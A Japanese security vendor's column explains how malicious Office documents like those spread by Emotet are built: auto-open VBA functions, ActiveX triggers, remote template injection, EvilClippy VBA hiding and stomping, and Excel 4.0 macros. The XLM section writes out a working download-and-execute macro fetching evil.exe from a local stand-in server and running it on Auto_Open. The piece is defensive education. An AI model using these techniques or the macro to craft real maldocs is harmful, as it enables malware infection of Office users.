株式会社セキュアイノベーション

    Menu

    セキュリティコラム

    • エンドポイント

    公開:2022.09.26 10:00 | 更新: 2022.09.26 09:33

    Emotetでも使われているMS Officeの細工手法

    Emotetでも使われているMS Officeの細工手法Emotetでも使われているMS Officeの細工手法

    昨今、急増しているEmotetによる感染被害が多く報告されております。
    その中でEmotetに限らず、Microsoft Officeに細工して悪意のあるコードを埋め込んだMaldocを添付して、被害者を騙し悪意あるコードを実行させる手法を使用することが多いです。
    不審なメールやWord文書を見分ける方法や、実際に検体を分析して悪意あるコードを分析する記事は多くみられますが、Microsoft Officeに細工をする部分についてはあまり多くは語られていない印象です。
    そこで、今回はMS OfficeのMaldocにどのような細工方法があるかについて調べてみました。

    1. VBAの自動起動関数
    2. ActiveX ControlからVBA実行
    3. VBAを含むTemplateファイル
    4. VBA Projectの隠蔽
    5. VBA Stomping
    6. XLM Macro
    7. さいごに

    1.VBAの自動起動関数

    マクロの便利な機能にWordやExcelの起動時に処理を実行してくれる関数がありますが、これは攻撃者側にとっても便利となり得る機能で、起動時に悪意のあるコードを実行させるための方法として悪用されています。

    VBAの自動起動関数には次の4種類があります。

    VBA関数実行タイミング
    AutoExec()Accessなどのデータベースを開いたときに実行されます。
    Workbook_Open()ブックを開いたときに実行されます。
    AutoOpen()標準モジュールに記載され起動時に実行されますが、Workbook_Open()の後に実行となります。
    Document_Open()文書が開いたときに実行されます。

    2.ActiveX ControlからVBA実行

    Emotetの感染事例を取り上げたサイトなどで次のような画像を目にしたことがあるかもしれません。
    次のようなイメージ画像のような内容が埋め込まれている場合にActiveXを使ったMaldocを見ることがあります。

    ActiveXコントロールを使用すると、例えばWord上でLayoutの変更やMouse HoverなどのイベントをVBA関数に紐づけて実行させることができます。

    次の例では、「Microsoft Forms 2.0 Frame」「Layout」イベントを定義しています。

    この手法では、1で紹介したVBAの自動起動関数を使用せずに関数を実行することができるためアンチウイルス製品の静的解析による検知を軽減させる手法ではないかと思います。

    3.VBAを含むTemplateファイル

    Officeには起動時に読み込ませることができるNormal.dotmと呼ばれるマクロを含むデフォルトのテンプレートファイルがあります。

    このテンプレートは次の場所にあるファイルが読み込まれるため、攻撃者によってここに悪意あるコードを含むテンプレートファイル配置されるなどが攻撃手法として考えられます。

    C:\Users<ユーザー名>\AppData\Roaming\Microsoft\Templates
    C:\Program Files\Microsoft Office\root\OfficeXX\Normal.dotm

    また、このテンプレートは外部参照させることが可能で、次の通り起動時に攻撃者が用意したサーバから悪意あるコードを含むテンプレートをダウンロードし実行される可能性もあります。

    settings.xml.rels

    通常VBAを含まない、docxやxlsxなどの拡張子を持つファイルでもテンプレート外部参照させることでVBAを実行させることが可能です。

    上記の点から、永続化や被害者を騙す目的で使用される可能性が高いと考えられます。

    4.VBA Projectの隠蔽

    通常、VBAでコーディングするときやMaldocを解析するときなどには開発タブから「Visual Basic Editor」(VBE) を使用されることも多いと思いますが、細工方法の一つにVBAを含むコードはOffice内に存在し実行もされますがVBE上で表示をさせない方法があります。

    EvilClippyと呼ばれるツールを使用してVBA Projectの隠蔽をしました。
    -gをオプションで隠蔽し、-ggで元に戻します。

    GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.

    左が細工前のVBEで真ん中がModule1を隠蔽した後のVBE。右が隠蔽した状態でModule1が実行されたことを確認しています。

    このように非表示にすることでMaldoc解析を遅らせたりできそうです。

    5.VBA Stomping

    マクロが埋め込まれたMS OfficeにはVBAソースコードから生成された中間コードであるP-Codeと呼ばれるものが保存されています。
    MS Officeを開いたときにP-Codeを生成したMS Officeのバージョンと同じバージョンを実行して入ればP-Codeが実行され、別のバージョンで開いた場合は再度VBAソースコードからP-Codeが生成されて実行されます。
    VBA StompingはVBAソースコードには悪意のない通常のコードを保存してP-Codeに悪意のあるコードを保存し、特定のMS Officeバージョンで開かせることで悪意のあるコードを実行します。
    これは被害者が実行しているMS Officeのバージョンを事前に把握していないと攻撃できない方法なので攻撃難易度は上がります。

    実際に試してみます。

    facecode.vbaは次の通り記載します。
    これは名前の通り悪意の無いコードです。

    Sub AutoOpen()
    MsgBox "Fackecode"
    End Sub

    新しくWordを作成してVBA Projectには次の通り記載して保存します。これは悪意のあるコードとして保存します。

    Sub AutoOpen()
    MsgBox "EvilCode"
    End Sub

    EvilClippyを使ってVBA Stampを行います。fackecodeがVBEのソースコードに書き込まれ、P-CodeはEvilCodeのままとなるはずです。

    出力された「文書3_EvilClippy.doc」をoletoolのolevbaを使ってVBAとP-Codeを見てみます。

    GitHub - decalage2/oletools: oletools - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging.

    確かに上の赤枠がVBAソースコードでFackcodeとなっていて、下の赤枠のP-CodeがEvilCodeとなっています。

    EvilCodeのP-Codeを作成したMS Officeバージョンで開くとEvilCodeが実行され別のバージョンを実行するとFackecodeが実行されます。

    VBA StampingはFool analyst toolsと呼ばれるdirストリームに保存されたmodule名にランダムなAsciiコードを入れて解析ツールクラッシュされる手法と組み合わせることでAVを回避できるそうですが、現在では攻撃手法が広く知られていてAVでも検知されるようになっており、VBA Stampingがバージョンによって限定的にしか実行されないのであまり使用されていない印象です。

    6.XLM Macro

    Excel 4.0とも呼ばれるXLM Macroは、VBAが導入される前の1992年にExcelを使って複雑な処理を自動化するために導入されましたが、VBAが広く使われている現在でも機能は残っておりXLM Macroを実行することができます。

    実際に試してみます。

    シートを右クリックして挿入を押下し「Excel 4.0 マクロ」を選択します。

    XLMはCellごとに実行関数を記載していき上から下へ順次実行されます。
    次のコードはhttp経由でローカルからevil.exeをダウンロードして実行するサンプルです。

    =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://127.0.0.1:4444/evil.exe","C:\Users\Public\evil.exe",0,0)
    =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Users\Public\evil.exe",,0,5)
    =RETURN()

    自動実行させるにはセルを選択して左上にあるAuto_Openを設定することで自動実行することができます。

    Excelを開くと次の通りevil.exeが実行されます。

    現在ではXLM Macroはデフォルトで無効となっており実行できなくなってきていますのでXLM Macroを使ったMaldocは徐々に減っていくのかなと思います。

    さいごに

    再三言われている重要なことですが上記の自動実行手法のいずれも「コンテンツの有効化」を押さないことで防ぐことができますので、不審に思った場合は「コンテンツの有効化」を押さず情シスなどに報告してください。
    ここで取り上げた内容は説明のために簡略化しています。実際のMaldocは複数の手法を組み合わせたり、被害者・解析者を混乱させるようなMaldocや、2022年4月ごろに観測されたFollina(CVE-2022-30190)のようなMicrosoft Office製品のゼロデイが存在する可能性もあるため、安易にファイルを開かずに専門家に分析を依頼することを推奨いたします。

    防衛するには攻撃方法を知ることも重要です。少しでも理解の助けになればと思います。

    最新のコラム記事

    LOADING...

    セキュアイノベーション サービス一覧

    ネットワーク・サーバー

    Webサイトを守る

    ヘルプデスク・サポート